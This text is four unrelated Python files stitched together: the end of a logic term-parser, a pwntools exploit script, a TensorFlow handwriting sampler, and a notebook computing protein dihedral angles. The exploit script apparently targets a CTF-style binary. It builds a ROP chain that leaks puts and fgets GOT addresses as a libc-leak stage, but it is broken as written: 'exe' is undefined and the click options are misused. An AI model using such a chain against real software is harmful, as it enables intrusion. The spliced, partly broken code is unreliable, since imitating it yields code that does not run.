                precedence_kwargs = {
                    "precedence": precedence,
                }
            syntax_rule = self.parser.add_syntax_rule(SyntaxBasic(
                *syntax_elements,
                **precedence_kwargs,
            ))

            # check special rules

            self.parser.check_eq_rule(f, syntax_rule)
            self.parser.check_accepts_modified(f, syntax_rule)
            self.parser.check_neg_rule(f, syntax_rule)

            # semantics
            arg_is = [
                i
                for i,x in enumerate(syntax_elements)
                if x is None
            ]
            f = self.parser.name_signature_to_const[f, (0,)*len(arg_is)]
            if syntax_rule.accepts_modified:
                def semantics(*args):
                    res = TermApp(f, tuple(
                        self.parser.tree_to_term(args[i]) for i in arg_is
                    ))
                    if args[1].t == "NEG":
                        res = TermApp(self.parser.neg_function, (res,))
                    return res
            else:
                def semantics(*args):
                    return TermApp(f, tuple(
                        self.parser.tree_to_term(args[i]) for i in arg_is
                    ))

            f.notation = syntax_rule
            syntax_rule.semantics = semantics

        elif self.syntax_state is not None:
            self.parser.last_line = lineno, line
            self.syntax_state.parse_line(line, lineno)
        elif any(True for token in self.syntax_parser.lexer.parse_line(line)):
            print(f"{lineno}:{line.strip()}")
            raise Exception("Nonempty line without context")

    def finish(self):
        if self.syntax_state is None: return
        try:
            syntax_tree = self.syntax_state.finish()
            self.syntax_purpose(*syntax_tree.args)
        except Exception:
            lineno, line = self.parser.last_line
            print(str(lineno)+":"+line)
            raise
        self.syntax_state = None
        self.syntax_purpose = None

if __name__ == "__main__":
    logic = LogicCore()
    parser = TermParser(logic)
    parser.parse_file("axioms_logic", verbose = True)
    parser.parse_file("axioms_set", verbose = True)
    parser.parse_file("axioms_fun", verbose = True)
    print(parser.parse_str("A = null", available_vars = ()))


#!/bin/env python3
from pwn import *
import click

@click.command()
@click.option('--ip', '-i', help='ip address to exploit')
@click.argument('--exe', '-e', help='name of exe to exploit')
@click.argument('--port', '-p', help='port for the ip address to connect with')
def start(exe, ip, port):#, argv=[], *a, **kw):
    # if args.GDB:
    #     return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    # elif args.REMOTE:
    #     return remote(ip, port, *a, **kw)
    # else:
    return process(exe)

start()

# def start(argv=[],  *a, **kw):
#     if args.GDB:
#         return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
#     elif args.REMOTE:
#         return remote(sys.argv[1], sys.argv[2], *a, **kw)
#     else:
#         return process([exe] + argv, *a, **kw)

def find_ip(payload):
    p  = process(exe)
    p.sendlineafter('>', '1')
    p.wait()
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))
    info('located eip offset at {a}',format(a=ip_offset))
    return ip_offset

gdbscript = '''
init-pwndbg
piebase
continue
'''.format(**locals())
offset_num = 5
p = process(exe.path)
offset = b'A'* offset_num

rop = ROP([exe])
pop_rdi = rop.find_gadget(['pop_rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
fgets_got = exe.got['fgets']
main_plt = exe.symbols['main']

payload = offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi)
payload += p64(fgets_got)
payload += p64(puts_plt)
payload += p64(main_plt)

p.sendlineafter(b'dah?\n', payload)
puts_got_leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
fgets_got_leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))

log.info(f'puts_got_leak: {hex(puts_got_leak)}')
log.info(f'fgets_got_leak: {hex(fgets_got_leak)}')


import os
import pickle
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
from collections import namedtuple

def sample(e, mu1, mu2, std1, std2, rho):
	cov = np.array([[std1 * std1, std1 * std2 * rho],
					[std1 * std2 * rho, std2 * std2]])
	mean = np.array([mu1, mu2])

	x, y = np.random.multivariate_normal(mean, cov)
	end = np.random.binomial(1, e)
	return np.array([x, y, end])

def split_strokes(points):
	points = np.array(points)
	strokes = []
	b = 0
	for e in range(len(points)):
		if points[e, 2] == 1.:
			strokes += [points[b: e + 1, :2].copy()]
			b = e + 1
	return strokes

def cumsum(points):
	sums = np.cumsum(points[:, :2], axis=0)
	return np.concatenate([sums, points[:, 2:]], axis=1)

def sample_text(sess, args_text, translation):
	fields = ['coordinates', 'sequence', 'bias', 'e', 'pi', 'mu1', 'mu2', 'std1', 'std2',
			  'rho', 'window', 'kappa', 'phi', 'finish', 'zero_states']
	params = namedtuple('Params', fields)(
		*[tf.get_collection(name)[0] for name in fields]
	)

	text = np.array([translation.get(c, 0) for c in args_text])
	coord = np.array([0., 0., 1.])
	coords = [coord]

	sequence = np.eye(len(translation), dtype=np.float32)[text]
	sequence = np.expand_dims(np.concatenate([sequence, np.zeros((1, len(translation)))]), axis=0)

	stroke_data = []
	sess.run(params.zero_states)
	sequence_len = len(args_text)
	for s in range(1, 60 * sequence_len + 1):
		print('\rSampled {0} points ...'.format(s), end='')

		e, pi, mu1, mu2, std1, std2, rho, \
		finish, phi, window, kappa = sess.run([params.e, params.pi, params.mu1, params.mu2,
											   params.std1, params.std2, params.rho, params.finish,
											   params.phi, params.window, params.kappa],
											  feed_dict={
												  params.coordinates: coord[None, None, ...],
												  params.sequence: sequence,
												  params.bias: 1.0
											  })

		g = np.random.choice(np.arange(pi.shape[1]), p=pi[0])
		coord = sample(e[0, 0], mu1[0, g], mu2[0, g],
					   std1[0, g], std2[0, g], rho[0, g])
		coords += [coord]
		stroke_data += [[mu1[0, g], mu2[0, g], std1[0, g], std2[0, g], rho[0, g], coord[2]]]

		if finish[0, 0] > 0.8:
			print('\nSampling done.')
			break

	coords = np.array(coords)
	coords[-1, 2] = 1.

	return stroke_data, coords

def create_handwriting(line, model_path):
	with open(os.path.join(model_path, 'mapping.pkl'), 'rb') as file:
		mapping = pickle.load(file)
	rev_mapping = {v: k for k, v in mapping.items()}
	charset = [rev_mapping[i] for i in range(len(rev_mapping))]
	charset[0] = ''

	config = tf.ConfigProto()
	config.gpu_options.allow_growth = True
	with tf.Session(config=config) as sess:
		saver = tf.train.import_meta_graph(model_path + '.meta')
		saver.restore(sess, model_path)

		stroke_data, coords = sample_text(sess, line, mapping)

		fig, ax = plt.subplots(1, 1)
		for stroke in split_strokes(cumsum(np.array(coords))):
			plt.plot(stroke[:, 0], -stroke[:, 1])
		ax.set_title('Handwriting')
		ax.set_aspect('equal')
		plt.show()


#!/usr/bin/env python
# coding: utf-8

# #  Calculate Dihedral Angles from Coordinates

# In[1]:

# Import libraries - LOAD THE DATA
import numpy as np
import matplotlib.pyplot as plt

# In[2]:

def parse_line(raw):
    return np.array([[float(x) for x in line.split("\t") if x != ""] for line in raw])

# In[3]:

names = []
seqs = []
psis = []
phis = []
pssms = []
coords = []

path = "../data/full_under_200.txt"
# Opn file and read text
with open(path, "r") as f:
    lines = f.read().split('\n')

# In[4]:

# Extract numeric data from text
for i,line in enumerate(lines):
    if len(names) == 601:
        break
    # Read each protein separately
    if line == "[ID]":
        names.append(lines[i+1])
    elif line == "[PRIMARY]":
        seqs.append(lines[i+1])
    elif line == "[EVOLUTIONARY]":
        pssms.append(parse_line(lines[i+1:i+22]))
    elif line == "[TERTIARY]":
        coords.append(parse_line(lines[i+1:i+3+1]))
        # Progress control
        if len(names)%50 == 0:
            print("Currently @ ", len(names), " out of n")

# In[5]:

#Get the coordinates for 1 atom type
def separate_coords(full_coords, pos): # pos can be either 0(n_term), 1(calpha), 2(cterm)
    res = []
    for i in range(len(full_coords[1])):
        if i%3 == pos:
            res.append([full_coords[j][i] for j in range(3)])

    return np.array(res)

# In[6]:

# Organize by atom type
coords_nterm = [separate_coords(full_coords, 0) for full_coords in coords]
coords_calpha = [separate_coords(full_coords, 1) for full_coords in coords]
coords_cterm = [separate_coords(full_coords, 2) for full_coords in coords]

# In[7]:

# Check everything's ok
print("Length coords_calpha: ", len(coords_cterm))
print("Length coords_calpha[1]: ", len(coords_cterm[1]))
print("Length coords_calpha[1][1]: ", len(coords_cterm[1][1]))

# In[8]:

# Helper functions
def get_dihedral(coords1, coords2, coords3, coords4):
    """Returns the dihedral angle in degrees."""

    a1 = coords2 - coords1
    a2 = coords3 - coords2
    a3 = coords4 - coords3

    v1 = np.cross(a1, a2)
    v1 = v1 / (v1 * v1).sum(-1)**0.5
    v2 = np.cross(a2, a3)
    v2 = v2 / (v2 * v2).sum(-1)**0.5
    porm = np.sign((v1 * a3).sum(-1))
    rad = np.arccos((v1*v2).sum(-1) / ((v1**2).sum(-1) * (v2**2).sum(-1))**0.5)
    if not porm == 0:
        rad = rad * porm

    return rad

# In[9]:

# Compute angles for a protein
phis, psis = [], [] # phi always starts with a 0 and psi ends with a 0
ph_angle_dists, ps_angle_dists = [], []
for k in range(len(coords)):
    phi, psi = [0.0], []
    # Use our own functions inspired from bioPython
    for i in range(len(coords_calpha[k])):
        # Calculate phi, psi
        # CALCULATE PHI - Can't calculate for first residue
        if i>0:
            phi.append(get_dihedral(coords_cterm[k][i-1], coords_nterm[k][i], coords_calpha[k][i], coords_cterm[k][i])) # my_calc

        # CALCULATE PSI - Can't calculate for last residue
        if i<len(coords_calpha[k])-1:
            psi.append(get_dihedral(coords_nterm[k][i], coords_calpha[k][i], coords_cterm[k][i], coords_nterm[k][i+1])) # my_calc

    # Add an extra 0 to psi (unable to claculate angle with next aa)
    psi.append(0)
    # Add protein info to register
    phis.append(phi)
    psis.append(psi)

# In[10]:

def stringify(vec):
    """ Helper function to save data to .txt file. """
    line = ""
    for v in vec:
        line = line+str(v)+" "
    return line

# Test function
print([stringify([1,2,3,4,5,6])])

# In[11]:

# Check angles distribution is a Ramachandran Plot (2nd and 3rd quads. dense)
n = 100
test_phi = []
for i in range(n):
    for test in phis[i]:
        test_phi.append(test)
test_phi = np.array(test_phi)

test_psi = []
for i in range(n):
    for test in psis[i]:
        test_psi.append(test)
test_psi = np.array(test_psi)

# For quadrants following trigonometry positions
quads = [0,0,0,0]
for i in range(len(test_phi)):
    if test_phi[i] >= 0 and test_psi[i] >= 0:
        quads[0] += 1
    elif test_phi[i] < 0 and test_psi[i] >= 0:
        quads[1] += 1
    elif test_phi[i] < 0 and test_psi[i] < 0:
        quads[2] += 1
    else:
        quads[3] += 1

print("Quadrants: ", quads, " from ", len(test_phi))

# In[12]:

# Visualize data. Check it matches the Ramachandran Plot distribution
# (Ergo check if angles are well computed)
plt.scatter(test_phi, test_psi, marker=".")
plt.xlim(-np.pi, np.pi)
plt.xlabel("Phi")
plt.ylabel("Psi")
plt.ylim(-np.pi, np.pi)
plt.show()

# In[13]:

# Data is OK. Can save it to file.
with open("../data/angles/full_angles_under_200.txt", "a") as f:
    for k in range(len(names)-1):
        # ID
        f.write("\n[ID]\n")
        f.write(names[k])
        # Seq
        f.write("\n[PRIMARY]\n")
        f.write(seqs[k])
        # PSSMS
        f.write("\n[EVOLUTIONARY]\n")
        for j in range(len(pssms[k])):
            f.write(stringify(pssms[k][j])+"\n")
        # PHI
        f.write("\n[PHI]\n")
        f.write(stringify(phis[k]))
        # PSI
        f.write("\n[PSI]\n")
        f.write(stringify(psis[k]))

# # Done!